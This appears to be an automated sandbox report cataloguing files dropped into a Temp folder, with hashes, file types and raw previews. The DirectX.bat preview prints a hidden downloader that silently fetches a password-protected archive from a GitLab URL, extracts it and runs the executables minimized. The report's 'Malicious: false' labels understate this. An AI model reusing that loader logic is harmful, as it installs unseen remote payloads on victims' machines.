SHA-512:	8CAB7A1FBA7FE8E6FF286B763504E18A9B465FACFE4D0F3A1FDFC06129885BE1535225FF99FEBFCD37C638291662D7BEB1E40F5C27391CE8ECE5317131AEBCCF
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......J.A2../a../a../a..a../a..a6./a)zTa../a...a../a..a../a..a&./a..a../a..a../a..a../aRich../a................PE..L...9..R.........."!......:..T......(.4.......:....(..........................Z.....L.W...@.........................p.O.\|.....O.x.... U...............W.H....0U..,..@.:.......................G.......G.@.............:.......O......................text....:.......:................. ..`.rdata........:.......:.............@..@.data....k....O.......O.............@....tls..........U......DR.............@....rsrc........ U......FR.............@..@.reloc..l....0U......NR.............@..B................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DL100PDFL.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6732104
Entropy (8bit):	6.774431303294623
Encrypted:	false
SSDEEP:	196608:8xD1n+MwOPY6cikEpFjAOlYFOaEsZNros0aUh:8LgOPY6cikEz7TINr1G
MD5:	714CDAC1D60200AF009AB20403A18D34
SHA1:	BEF10479C60E9244C0205F31806F0E622532569C
SHA-256:	C9C4BA9D27734D3FF60D18ECCF883EE54AE3CD2ECE4F7048C56C9C1FF707B931
SHA-512:	CF503253E0A0A6DB7D9F73A2B2309D3A274154F5B665EE5642E350BFEDCD6193E2875D23CEEA621DC8918DB9494FDD20E94ABF160E6EDBE12444673C0F54B72C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........4.#.U.p.U.p.U.p<.tp.U.p..wp.U.p...p.U.p...p.U.p...p.U.p..qp.U.p.U.pIT.p..fp.W.p..apdU.p..pp.U.p..vp.U.p..sp.U.pRich.U.p................PE..L......R.........."!......A...$.....:.........A....!.........................@g.....Q.g...@...........................U.......U.T.... ^...............f.H.....a.0Q....A.............................X.J.@.............A.......U.@....................text.....A.......A................. ..`.rdata..r.....A.......A.............@..@.data...8w....V.......V.............@....rsrc........ ^.......].............@..@.reloc..\P....a..R...Na.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\7z.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1689600
Entropy (8bit):	6.281216665679078
Encrypted:	false
SSDEEP:	24576:ycLgCOTC8FxtcVdwk8RbhIr0FQpB2yyS+QGFIz6Mu4wEbPuiC:tgK8F4VahQmClkW6JEbPub
MD5:	19FD647448B26325E0C1F68A9A3FA03C
SHA1:	58F7092EC4CD64E82B20819C442EF1936F3F09D3
SHA-256:	8BDDCDF33588DF8C54AD3A2823D60CEFF5F08E73A055B1B1A4F8878B713636E5
SHA-512:	E18DDFA05D36EB8020EF5C38A598EE40FA3F342345F33A6AB1D8724465437AE9DAD31AFDA6006359D0443E17CBBEFF13846BA5CC26311997C7F0335087254F64
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........,.IHM..HM..HM..>..IM..>..CM..HM..+M..>...M...$..IM..>..dM...$..IM..S.x.MM..>..IM..>..IM..>..IM..RichHM..........................PE..d...0.._.........." .........J............................................................`.............................................y.......x........{...................@..@.......................................................h............................text............................... ..`.rdata..............................@..@.data...@...........................@....pdata........... ..................@..@.rsrc....{.......\|..................@..@.reloc...1...@...2..................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\7z.exe

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	475648
Entropy (8bit):	6.171106194022655
Encrypted:	false
SSDEEP:	6144:5sxgh2tusg0dS/ds1PkaMzfVNi3N3Dhak3qQw6/noQop71X9DwEdHtVzWh70+z82:SghWusg9/EPEz3cbC759VHtV3qqVQl
MD5:	EBC2E82461723839526B38B2CDE0EDD1
SHA1:	747722C4D3317CD2F4A963A37627C1D41DE51A6C
SHA-256:	A969163E3E72BB6B0CF77E2FD7D7EAD29FCFBC9D0D5C85FC5873DE937A3C9B6D
SHA-512:	642992F0287E6ACACD37484203D1202CF343840774965BC4E5640FB9B36AE2563E7CA426C931A51CF9D24C8417CFE81F79E420E0809256EE4D5D2EC446F810CB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........2c..S...S...S....p..S....v..S...S...S....c..S...:...S....`..S......S....q..S....u..S..Rich.S..........PE..d...0.._.........."..........p................@...........................................`.....................................................x...............Xb......................................................................@............................text............................... ..`.rdata..d...........................@..@.data....,..........................@....pdata..Xb.......d..................@..@.rsrc................,..............@..@.reloc...............4..............@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\DirectX.bat

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1166
Entropy (8bit):	4.896041631619531
Encrypted:	false
SSDEEP:	24:Y5lX3ZmS5Vmho5VmQ83BVmM83TwVmPDW28QRn:YXX3B5yey3B63MRTgn
MD5:	CEEC1F5AC090FB6AC6CE4B6F6651A4E5
SHA1:	C3D381509821680EDCC77AA463C60BF96D1F2153
SHA-256:	53ED0E06691353BBE468BFAA839F73C53A75D891EB2AA6884C63403E13BBCD3F
SHA-512:	66A744957E2AC9966170206E211F92B2503232F9BCDF9E4052D5B4C370ADD94C348EA401823B2050C802B50D128CB8DCBECBA46F6C75F2257D9C36FE67BB1123
Malicious:	false
Reputation:	low
Preview:	@echo off..echo: & >nul timeout /t 60 /nobreak..start /wait /min %AppData%\DirectX\wget.exe -q --no-check-certificate "https://gitlab.com/michal63roberts63/soft/-/raw/main/DirectXbin.rar" -P %AppData%\DirectX..echo: & >nul timeout /t 5 /nobreak..start /wait /min %AppData%\DirectX\7z.exe x -y %AppData%\DirectX\DirectXbin.rar -p2022 -o%AppData%\DirectX..echo: & >nul timeout /t 4 /nobreak..start /wait /min %AppData%\DirectX\7z.exe x -y %AppData%\DirectX\DirectX.rar -p2022 -o%AppData%\DirectX..echo: & >nul timeout /t 4 /nobreak..start /min %AppData%\DirectX\DirectX.exe..echo: & >nul timeout /t 9 /nobreak..start /wait /min %AppData%\DirectX\7z.exe x -y %AppData%\DirectX\DirectX32.rar -p2022 -o%AppData%\DirectX..echo: & >nul timeout /t 5 /nobreak..start /min %AppData%\DirectX\DirectX32.exe..echo: & >nul timeout /t 9 /nobreak..start /wait /min %AppData%\DirectX\7z.exe x -y %AppData%\DirectX\DirectX64.rar -p2022 -o%AppData%\DirectX..echo: & >nul timeout /t 5 /nobreak..start /min %AppDa

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\WinRAR.exe

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2230488
Entropy (8bit):	6.949430593758372
Encrypted:	false
SSDEEP:	49152:2oJAPtSHWxwJWzkDVkwg5NYUzNjteyUHBdH3y005:2ZAHWSxkfNNte9BpCN
MD5:	F59F4F7BEA12DD7C8D44F0A717C21C8E
SHA1:	17629CCB3BD555B72A4432876145707613100B3E
SHA-256:	F150B01C1CBC540C880DC00D812BCCA1A8ABE1166233227D621408F3E75B57D4
SHA-512:	44811F9A5F2917CCD56A7F894157FA305B749CA04903EEAECA493864742E459E0CE640C01C804C266283CE8C3E147C8E6B6CFD6C5CB717E2A374E92C32A63B2C
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........F@.n(..n(..n(.d....n(.d...Dn(.d....n(.N....n(..0+..n(..0-..n(..0,..n(......n(......n(..n)..o(.G0-.Gn(.B0...n(.G0*..n(.Rich.n(.........................PE..L...S..\.....................x.......a.......@....@...........................+......O"...@.................................,...,.... ..P.............!..4....+.0...0;..T....................;.......;..@............@.. ............................text....-.......................... ..`.rdata.......@.......2..............@..@.data...$........F..................@....gfids..............................@..@.tls................................@....rsrc...P.... ......................@..@.reloc..0.....+....... .............@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\setup64.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3584
Entropy (8bit):	5.264008326023519
Encrypted:	false
SSDEEP:	96:e+AxPNuB+AHpcuXAqVA709t+AU0ps+570pX6r:eDZNuBDH+uXAqe709tDU0yK70gr
MD5:	15153B92ED05A364F05C12401AFA816C
SHA1:	E357F2EFFFFF14F6F424ABC637FE71D6F41D8D7E
SHA-256:	F759F15B8F7C96EEE41BF4972E45CF48EAA3C2B7B029FB2282DA29EA9718A90D
SHA-512:	AB63C440FDD9F8EB29C3FDECA9A85AD018F5A70290160C414C81642D70BEBF40C5D225875811BFB5A8B3CB7631B22E1CFBE4A712DBE1516AC3F4BDE2F7EE3A9F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 2%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........<..R...R...R.......R...P...R.Rich..R.........PE..L....B.^...........!.........................................................0............@.......................................... ..`...............................8............................................................................rdata..............................@..@.rsrc...`.... ......................@..@.............B.^........@...8...8........B.^....................GCTL....8....rdata..8...T....rdata$zzzdbg.... .......rsrc$01....................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\setup64.exe

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	373344
Entropy (8bit):	6.333392087338908
Encrypted:	false
SSDEEP:	6144:+pS9kEFKbITUvR8cy8dzQ7Lcf3Si96sfO+2RZrTql9unNrkYql6wrEJWPYg:+p8KLBzQ7Lcf3SiQs2FTTql9unNrkv75
MD5:	E5C00B0BC45281666AFD14EEF04252B2
SHA1:	3B6EECF8250E88169976A5F866D15C60EE66B758
SHA-256:	542E2EBBDED3EF0C43551FB56CE44D4DBB36A507C2A801C0815C79D9F5E0F903
SHA-512:	2BACD4E1C584565DFD5E06E492B0122860BFC3B0CC1543E6BADED490535309834E0D5BB760F65DBFB19A9BB0BEDDB27A216C605BBED828810A480C8CD1FBA387
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........J...$..$..$...'..$...!.:.$.>E...$.X. ..$.X.'..$.X.!..$... ..$...%..$..%.e.$...-..$......$...&..$.Rich..$.................PE..L...'.Gb.................t........................@.......................................@.................................,...........\...............`&.......,..8\..8...................(]......p\..@............................................text...ns.......t.................. ..`.rdata..X............x..............@..@.data...T3..........................@....rsrc...\...........................@..@.reloc...,...........^..............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\setup64.exe.manifest

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	exported SGML document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1153
Entropy (8bit):	5.91838239742257
Encrypted:	false
SSDEEP:	24:OKdAlBAiEHlA/nZakkbH50VF4/PtJyr7ycFSRVUsJuZ6:OKdiBvKmndkb0F494haUsJu8
MD5:	4526C40DCAE0FDC61336987C860F92B0
SHA1:	76A8705C35FA5BFFEDE5DB3D13D68EC74A043D46
SHA-256:	CD876C04E8D610C576448ACBE03A89358D36B3F7B4F8131D1272F97D00243381
SHA-512:	9474EDE599B1C59369E3E7F7E3CCFCC8E3D9AA1432ADA0E6CD7EB4DC7024FFCDA074611EE5C2F200AFDE61B3B3FDE5191D30EF38F949B7BF3C1A187B750ABFD9
Malicious:	false
Reputation:	low
Preview:	<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">..<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">..<security>..<requestedPrivileges>..<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>..</requestedPrivileges>..</security>..</trustInfo>..</assembly>.. BEGIN_VBSEDIT_DATA..PHJvb3Q+DQo8dGltZW91dD4wPC90aW1lb3V0Pg0KPHNjcmlwdG5hbWU+c2V0dXA2..NC52YnM8L3NjcmlwdG5hbWU+DQo8YXBwbmFtZT5TZXR1cDY0PC9hcHBuYW1lPg0K..PHNjcmlwdC8+DQo8bmVlZERMTD50cnVlPC9uZWVkRExMPg0KPHBpZD5FUzczYnZ2..c3VudmQ2YmdMMEJKMG5pSU9VbFJRc1FWQVZkYkNHZ3owUXloOFVCVFBiUkR2NFM1..Q1FqcWhGSUsyPC9waWQ+DQo8ZXZhbHVhdGlvbj4wMjhlMjZhZGUzNWRmYjMxMTFh..MzE5MjdlYWEwNzRjY2E5NmFlYjZlOTNhODU5NDQwNTI5YmQ5ODE5MGM1MDUzNDE0..MzliYzViOWE1YjQyZWJiZmUxM2YxMjJmNjFkNjYxY2E4MzQyYmMxYjZmY2M0MTBk..OTc4YmUzMjNhNDAwMzEyNDM0ZDVkYzhmNmM1NTlkMzlhOWExNjkxYzZiYjE3NjJh..YzY3ZjU0MDUwNDU4ZGViNGRkYWEwMTc3Zjk0MWRmODc5YzRiODI3MWU1ZWJiNmIx..M2E5NzgyYTFmNDI1ZTIxNTU2NTU0NTJkNDM1ZmVhYTQ0YzcyOTc4MmY1ZmE2OGRj..

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\DirectX\wget.exe

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5128016
Entropy (8bit):	6.457617607357032
Encrypted:	false
SSDEEP:	98304:bHObnQdOb3OWEqNHeHq6PdOnS8SOGdVilQeHPpXF0aGOVxuGqYE6hpAl/70pzd+Z:bHInQ5WE2HeHq61OJSOGdVilQeHPpXFA
MD5:	8C04808E4BA12CB793CF661FBBF6C2A0
SHA1:	BDFDB50C5F251628C332042F85E8DD8CF5F650E3
SHA-256:	A7B656FB7A45F8980784B90B40F4A14D035B9DC15616465A341043736EC53272
SHA-512:	9619F96C3180EF3D738ECC1F5DF7508C3FF8904021065665C8388A484648E135105E1C1585DE1577C8B158F9B5BC241E3FF7F92665E9553E846E1B750DDEA20F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.........M............#.`4...M..............p4...@.......................... O.......N....... ...............................N.X..................H.N..'....................................E.......................N.8............................text....V4......`4.................`..`.data........p4......p4.............@.`..rdata...Q....5..R....5.............@.p@/4......tG...pF..H...`F.............@.0@.bss..........M.......................`..idata..X....N..,....M.............@.0..CRT....4.....N.......M.............@.0..tls..........O.......M.............@.0./14...........O.......M.............@.0B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\GFSDK_ShadowLib.win64.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	3954688
Entropy (8bit):	3.564574141005755
Encrypted:	false
SSDEEP:	24576:Gg4mEzEzlXel6Kqn9DSuGOMAYd1EmH07YV1GmP0jYX1JmX0UY/1ImD0A:G
MD5:	F2C348C5AAFF0C420F4DCE3ABC1BBAD6
SHA1:	873F96BF5F180D786445AB2A129140905D5066B8
SHA-256:	0523A77867D37AC0FD0A9CCC5E6D11882E743ED6D52558F6BB63D5889B7F4AE1
SHA-512:	857A08F0D22B1A3CC9517D632D151BBDD703EC6DD541C84190F305A43F4F81770860AD4C9CC2BAAF149740EAC8D8579DBB2EE7C0E63A0403D061ADB0AE0B0B66
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........N.:./ni./ni./ni..i./ni..i./ni.W.i./ni.}.i./ni./oi./ni..i./ni..i./ni..i./niRich./ni........................PE..d.....LU.........." .....x....:...............................................<......&=...@.........................................@.;.z.....;.<.....<......`<...............<. .......................................................`............................text...2w.......x.................. ..`.rdata...w:......x:..\|..............@..@.data....O....<..,....;.............@....pdata.......`<...... <.............@..@text..........<......4<.............@.. .rsrc.........<......<<.............@..@.reloc..H.....<......><.............@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\GPUPerfAPIDX11-x64.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	8660480
Entropy (8bit):	3.7338758322023953
Encrypted:	false
SSDEEP:	49152:pkWlBfZEnFqR+hBZBNnyJG7XITT3jtDvN:V+/7XMvN
MD5:	121044FE4AE47114DFCCD15E399DF399
SHA1:	FFF4527981D873E558FD09BD493E97A308D179A4
SHA-256:	112A793D76A840A4BF0E5EA71C9A938A78E67B1514E5BFE856627913B622F156
SHA-512:	A6E114BA6DFF10DA16B3AE8F3A2F4E065D4CAA0DC63D6BE4E292CFE9BEED175E51B82A7B4C2BD413AA9621D341E4CEAE28E414FA5C7D4AD8D162400D8C943BA4
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........!..jr..jr..jr...r..jr...r..jr...r..jr...r..jr..kr.jr...r..jr...r..jr...r..jr...r..jrRich..jr................PE..d......T.........." .....n...pr...........................................................@.........................................p.......(...d....0\|.p.....{.87...........@\|......................................................................................text....m.......n.................. ..`.rdata...4.......6...r..............@..@.data..../f......te.................@....pdata..87....{..8....{.............@..@.rsrc...p....0\|......T{.............@..@.reloc.......@\|......X{.............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_GenericContainer_AES3_4.5.16_vs10.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.682659983466061
Encrypted:	false
SSDEEP:	768:QQZRtQ/KBET2tQ2vUQGvoYKFLvZuAQMgei3PPBhZnaiPUIZOlu/VesxlL7r:QQZRtRCeQaUKFLvY/hOlQhr
MD5:	30260BE3F0EF942E7616935471CA5374
SHA1:	437361676F0228459E770C578A00D823F05D9B41
SHA-256:	9C8B8400D0F875AC4AD1D60085C89E4827FA07B5C835818B49CBDA9F749DAE5E
SHA-512:	201D9A7438441DBD7DB52596C591A652D6D0000F2382C5DB6E22B02FBFE59C3BDB2A162D4A268972F51650DF2314C010E00B62292AF3102D89B992FAC9F14B34
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........\B.H=,.H=,.H=,.AE..J=,.'K..J=,..s..I=,.'K..I=,.'K..A=,.'K..L=,.S...K=,.H=-..=,.S...K=,.S...I=,.S...I=,.S...I=,.RichH=,.................PE..d.....X.........." .....8...`.......=..............................................T=....@.........................................p........o..P...............t...............(....T...............................................P...............................text....7.......8.................. ..`.rdata...K...P...L...<..............@..@.data...............................@....pdata..t...........................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_GenericContainer_AVI_4.5.16_vs10.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	25600
Entropy (8bit):	5.5767989133204425
Encrypted:	false
SSDEEP:	384:PhoUaIUSI1PJQKmJDQk8GKjEXVa33SuQvvpCSWYyAIFDOlk6SX:Jha/SIpJQKwQ/jqVi0kSWPFDOli
MD5:	9A0FCD773CFB952A7A76CB56081C7242
SHA1:	2014B923467FA0D8756E40E272ADE88C2E47FFD3
SHA-256:	9D044A088E9808016538E11951BF15C7B6ADCA27A00BC47C4298890B4E5D2A22
SHA-512:	A83D66A48A2195C8A55CA2B2FE8FC08B5029EC57D4001C0AB395D4C8ED8DE8475960F1F5D9E6712DC005C65DC671BC4A38F575D914E90F38E52D804B37D850E2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.............s...s...s......s.......s.O.....s.......s.......s.......s..U....s...r...s..U....s..U....s..U....s..U....s.Rich..s.........................PE..d...}..X.........." .....,...4.......1..............................................T.....@..........................................^.......Q..P...............l...............L...`B...............................................@..0............................text....*.......,.................. ..`.rdata...$...@...&...0..............@..@.data...X....p.......V..............@....pdata..l............X..............@..@.rsrc................\..............@..@.reloc...............b..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_GenericContainer_SystemScheme1_4.5.16_vs10.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	38400
Entropy (8bit):	5.648390778463724
Encrypted:	false
SSDEEP:	768:wQ7Yd2EYIyBhlY62vIwIwOh4qqrh3VOluGtyZd:wQ8dPj62vIw9OoOlPyZ
MD5:	AA1E3C50A0976CC3297B1DC1C229E0FB
SHA1:	55F475AB89235AF8D589364F4E4A03A0FDB5C072
SHA-256:	C81194DDDA474B3B6A9375680461BD4A88854C92F17C3DF884728111D785ECED
SHA-512:	E1D34BBC6168C8BBAC9BE264DFCBFFA192C0E78A0C0618D06C009035415A3BB1DF110FFE00E1CF94704827FA5265FE227CA11EFFDA67795DC4180389492E38A1
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......X.....k...k...k.......k.s.....k.......k.s.....k.s.....k.s.....k..T....k...j.j.k..T....k..T....k..T....k..T....k.Rich..k.........PE..d......X.........." .....8...Z.......;...............................................\....@.................................................,p..P...............h....................S...............................................P...............................text....7.......8.................. ..`.rdata...E...P...F...<..............@..@.data...p...........................@....pdata..h...........................@..@.rsrc...............................@..@.reloc..T...........................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\MXF_SDK_Modules_DataIO_1.4.22_vs10.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	24064
Entropy (8bit):	5.512273805936711
Encrypted:	false
SSDEEP:	384:Y73igMBoAXxOpiXtdbLLpqtHjybiVoOlk6xvlRH:YOxOpmLEjybi6Ol5lB
MD5:	FEE62389D41DE857A366517B42CB6F29
SHA1:	635B97CBA8CFF5377A08607DFCCFD590075D1B2E
SHA-256:	32656A3F9248BA7520205F291E389FFC9920342C813865C7FA60CEF2389613E2
SHA-512:	4E55BA7C0399DD480256D958E554D6E8609D54FA8E5B71749272B537CC45C68E9E31D124F142CFF5A33F05EFFB78092F334D41D87390FDD277C3C5F72F86F3B2
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......Vr...............kf.....}ei......]m.....}ek.....}e_.....}e^.......i...............Z.......n.......h.....Rich....................PE..d....E.X.........." .....&...4.......,..............................................!.....@..........................................\..b...4R..P...............................d....B...............................................@...............................text....%.......&.................. ..`.rdata..r&...@...(...*..............@..@.data...H....p.......R..............@....pdata...............V..............@..@.rsrc................Z..............@..@.reloc...............\..............@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\adbeape.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	40064
Entropy (8bit):	6.274421390655552
Encrypted:	false
SSDEEP:	768:6oHeyyllSkorBjtgStOHOHK/r2SQ4OpGgrOcQZfpG3whp/:6UeySlSH7dKvQ4OpGgrOcQBpGghR
MD5:	515F64A6C82173F6AE51F73713C93E63
SHA1:	CBE3210332B57E8BCE0DD808747754E4D3EFB5BA
SHA-256:	1DA18EBC37EFC84313168B3050363E19AF2463EB28AE270349B4A379583E7B23
SHA-512:	6B854C1B343F8E9D92658FC59083911F9D86DFFB437DFB15789930E93FF745C04D343B6411C9F279AD2F696BFF1AC29A013C463E2B656C5B6A8ACAC9008C1BCB
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PO....h...h...h..V....h.a....h..V....h..V....h.3.....h...i.^.h..V....h..V....h..\|....h..V....h.Rich..h.................PE..d...B..Q.........." .....>...>.......E....................................................@.........................................Pt......Tm..d.......D.......(...............D....Q...............................................P...............................text....=.......>.................. ..`.rdata...+...P...,...B..............@..@.data...0............n..............@....pdata..(............p..............@..@.rsrc...D............v..............@..@.reloc...............~..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\boost_system.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	34944
Entropy (8bit):	5.892574430686721
Encrypted:	false
SSDEEP:	384:Zj17tArbZZb8GoVlPuWawUCfoBSrVgwSoRRi6wwJg2jFoRKSwsjtiGX65JNNzFwf:ZErHoVlPdrVgwrRi6wkljFMfpk3wh5
MD5:	E34FE9F692579294041A185F3C1C0A82
SHA1:	38D9DFC8FE524D44083EB07B3C0FFCB900E598C4
SHA-256:	A16ADF54B70D59F9A9B1BCEE3C296E2588B8FF757F8A68A0747736C163F0EF61
SHA-512:	428A1F99C6DB7F7C4E5C45A606B7241891BFE5A4E2D90D2DA6740CA757873ACA7A98B940D54E4AC90054CB3B85B4997A19A0EA88D7465454298A820584CD3102
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......g...#...#...#.....'.......!.......2.......(.......'....[r. ...#...........!.......".....F."...#..."......."...Rich#...........PE..d......X.........." .....4...:.......2........@........................................... .........................................`d......$e..x....................l..........\|....U..T....................V..(...pU...............P...............................text....3.......4.................. ..`.rdata.......P.......8..............@..@.data...h....p.......V..............@....pdata...............Z..............@..@.tls.................`..............@....gfids..<............b..............@..@.rsrc................d..............@..@.reloc..\|............j..............@..B................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\d3dcompiler_47.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3696072
Entropy (8bit):	6.574865903829714
Encrypted:	false
SSDEEP:	49152:nqr33AJsOB8SLXId6mEjWEmNZMKRMbDhQc6555Rqp28ITdGS90tQhveWja37PLE3:nyUa6PcMbWD86dGZR
MD5:	6BC4ADA9A7CAB72F49C564E6C86B4C3E
SHA1:	F0FBA01542A0FBE585106F7EFD884DF65E8C89DC
SHA-256:	7D0D1290382EA0E44A3178446A0C202696237E27DBB5F8F0827691092B8F2228
SHA-512:	D7EC39514C104B40A42CD3CA956BA84F5A78F237A39F40D85BA54983145BCE2DFBC7EC5E0CBC1BF8AB64D1D370371A7CBA5E30202D2C1F37782DB32486ED7F6E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........a..V...V...V...[..o...[..W....h..T..._xi.Y...V........h..X....h..J....h..X....h..W....h.......h..U....h..W....h..W...RichV...........PE..L....=.f...........!......5...........*.......6...............................9.......8...@A..........................5.u...X.6.......7.@............D8..!... 7.p......T...................l..........@.............6.T............................text...%.5.......5................. ..`.data.........6..d....5.............@....idata........6......N6.............@..@.rsrc...@.....7......d6.............@..@.reloc..p.... 7......j6.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\boe55dv2.gbx\data\AppInfo\data\MXF_SDK_GenericContainer_AES3_4.5.16_vs10.dll

Download File

Process:	C:\Windows\SysWOW64\7za.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	39936
Entropy (8bit):	5.682659983466061
Encrypted:	false
SSDEEP:	768:QQZRtQ/KBET2tQ2vUQGvoYKFLvZuAQMgei3PPBhZnaiPUIZOlu/VesxlL7r:QQZRtRCeQaUKFLvY/hOlQhr
